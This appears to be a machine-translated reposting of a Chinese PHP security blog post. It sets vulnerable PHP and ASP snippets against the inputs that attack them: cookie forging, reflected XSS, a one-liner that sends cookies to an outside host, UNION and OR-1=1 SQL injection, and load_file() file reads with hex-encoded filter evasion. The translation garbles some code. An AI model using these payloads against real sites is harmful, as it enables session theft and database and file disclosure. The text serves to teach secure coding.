Php security News (11.11-11.13)

Source: Internet
Author: User

 

// Friday, 2011-11-11

// Php programmer's thinking:

// Login. php --- code snippet

If ($ adminuser = $ user and $ adminpass = $ pass)

{

Setcookie ("login", "yes", time () + 3600 );

Header ("location: admin. php ");

}

// Our thinking:

Javascript: alert (document. cookie = "login =" + escape ("yes "))

######################################## ####################

// Asp programmer's thinking:

// Code snippet

<%

If Request. cookies ("xxx") ("user") = "" or Request. cookies ("xxx") ("admin_pass") = "" or Request. cookies ("xxx") ("admin_class") = "" then

Response. Cookies ("xxx") ("user") = ""

Response. Cookies ("xxx") ("pass") = ""

Response. Cookies ("xxx") ("admin_class") = ""

Response. redirect "ad_login.asp"

Response. end

End if

%>

// Code snippet -- identify

<% If rs ("admin_class") = 0 then response. write "selected" %> admin

<% If rs ("admin_class") = 1 then response. write "selected" %> user

<% If rs ("admin_class") = 2 then response. write "selected" %> guest

 

// Our thinking:

Admin_class = 0

 

Conclusion: It is often quick and convenient, and destined to embark on the road of death.

 

Php instance expansion: Here I will reference an example of the soul of the ox:

// Code snippet

If ($ go) @ list ($ job, $ itemid) = @ explode ('_', basename ($ go ));

// Omitted

The original injection statement is

Index. php? Go = category_0) union select 1, concat (userpsw) from boblog_user % 23

// Omitted

If a cow is successfully injected, the MD5 password is not required to run.

Direct

Setcookie ('userid', '1 ',);

Setcookie ('userpsw', 'md5 ciphertext ',);

 

 

// Saturday 2011-11-12

// Programmer's thinking:

// Index. php --- code snippet

<? Php

$ Micropoor = $ _ GET ['micropoor'];

Print $ Micropoor;

?>

// Our thinking:

Index. php? Micropoor = <script> alert (document. cookie) </script>

 

######################################## ####################

// Programmer's thinking:

// Index. php --- code snippet

<Html>

<Body>

//...

<Input name = "Micropoor" value = "<? Php echo $ _ GET ['micropoor'];?> ">

//...

</Body>

</Html>

// Our thinking:

Http: // 127.0.0.1: 81/index. php? Micropoor = "> <script> alert (document. cookie); </script>

######################################## #######################

// Programmer's thinking:

If the programmer filters the <script> </script> tag, this js Code will not be executed on the page.

 

// Our thinking:

the src tag of img points to the image URL of a web server.

But it can also be replaced with:

Others: hexadecimal conversion, mixed characters, encryption, etc.

 

######################################## #####################

// Length of Breakthrough:

The following 28-byte command will send your cookie to the server with the Host Name micropoor.

Open ("// micropoor/" + document. cookie)

If HTML is injected directly

The following 30-byte label will load and execute a script from the server with the Host Name micropoor.

 

<Script src = http: // micropoor> </script>

 

Knowledge Development:

1. directly use the JS script.

2. transcode the JS script.

3. Use the tag trigger condition to insert code and perform transcoding.

4. Write with hexadecimal notation

Two types:

Stored XSS

Reflected XSS

News is news. The knowledge cannot be further explored.

 

 

Conclusion: All inputs are harmful.

 

 

 

 

 

// 2011-11-13 Sunday

// Programmer's thinking:

// Micropoor. php --- code snippet

<? Php

$ Id = $ _ GET ['id'];

$ Query = "SELECT * FROM users WHERE id = '". $ id .";"

// Omitted

?>

// Our thinking:

Index. php? Id = 1 + UNION + SELECT + 1, @ version + from + users --

// Programmer's thinking:

// Micropoor. php --- code snippet

<?

$ User = $ _ POST ['user'];

$ Pass = $ _ POST ['pass'];

$ Link = mysql_connect ('localhost', 'root', 'pass') or die ('error: '. mysql_e

Rror ());

Mysql_select_db ("SQL _inj", $ link );

$ Query = mysql_query ("SELECT * FROM SQL _inj WHERE user = '". $ user. "' AND pass = '". $ pass. "'", $ link );

If (mysql_num_rows ($ query) = 0 ){

Echo "<scripttype = \" text/javascript \ "> too many location.href='micropoor.html '; </SC

Ript> ";

Exit;

}

$ Logged = 1;

?>

// Our thinking:

$ User = 1 'OR '1' = '1

$ Pass = 1 'OR '1' = '1

 

News is also crazy: MySQL built-in functions in SQL statements often use DATABASE (), USER (), SYSTEM_USER (), SESSION_USER (), CURRENT_USER () to obtain the information you want. Oh, by the way,

There is also load_file ().

// Programmer's thinking:

// Micropoor. php --- code snippet

// Note: Current Condition: magic_quotes_gpc = off, root

SELECT * FROM article WHERE articleid = $ id

// Our thinking:

-1 union select, load_file ('C:/boot. ini ')

// Deteriorated:

SELECT * FROM article WHERE articleid =-1 union select, load_file ('C:/boot. ini ')

// Our thinking is transformed into: (char function)

-1 union select 111,111,116, 1, load_file (char (46,105,110,105 ))

// Continue the transformation:

SELECT * FROM article WHERE articleid =-1 union select 1, 1, load_file (0x633a2f626f6f742e696e69)

 

 

Conclusion: If you don't let me go, I will jump to the wall.

 

 

From http://hi.baidu.com/micropoor

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.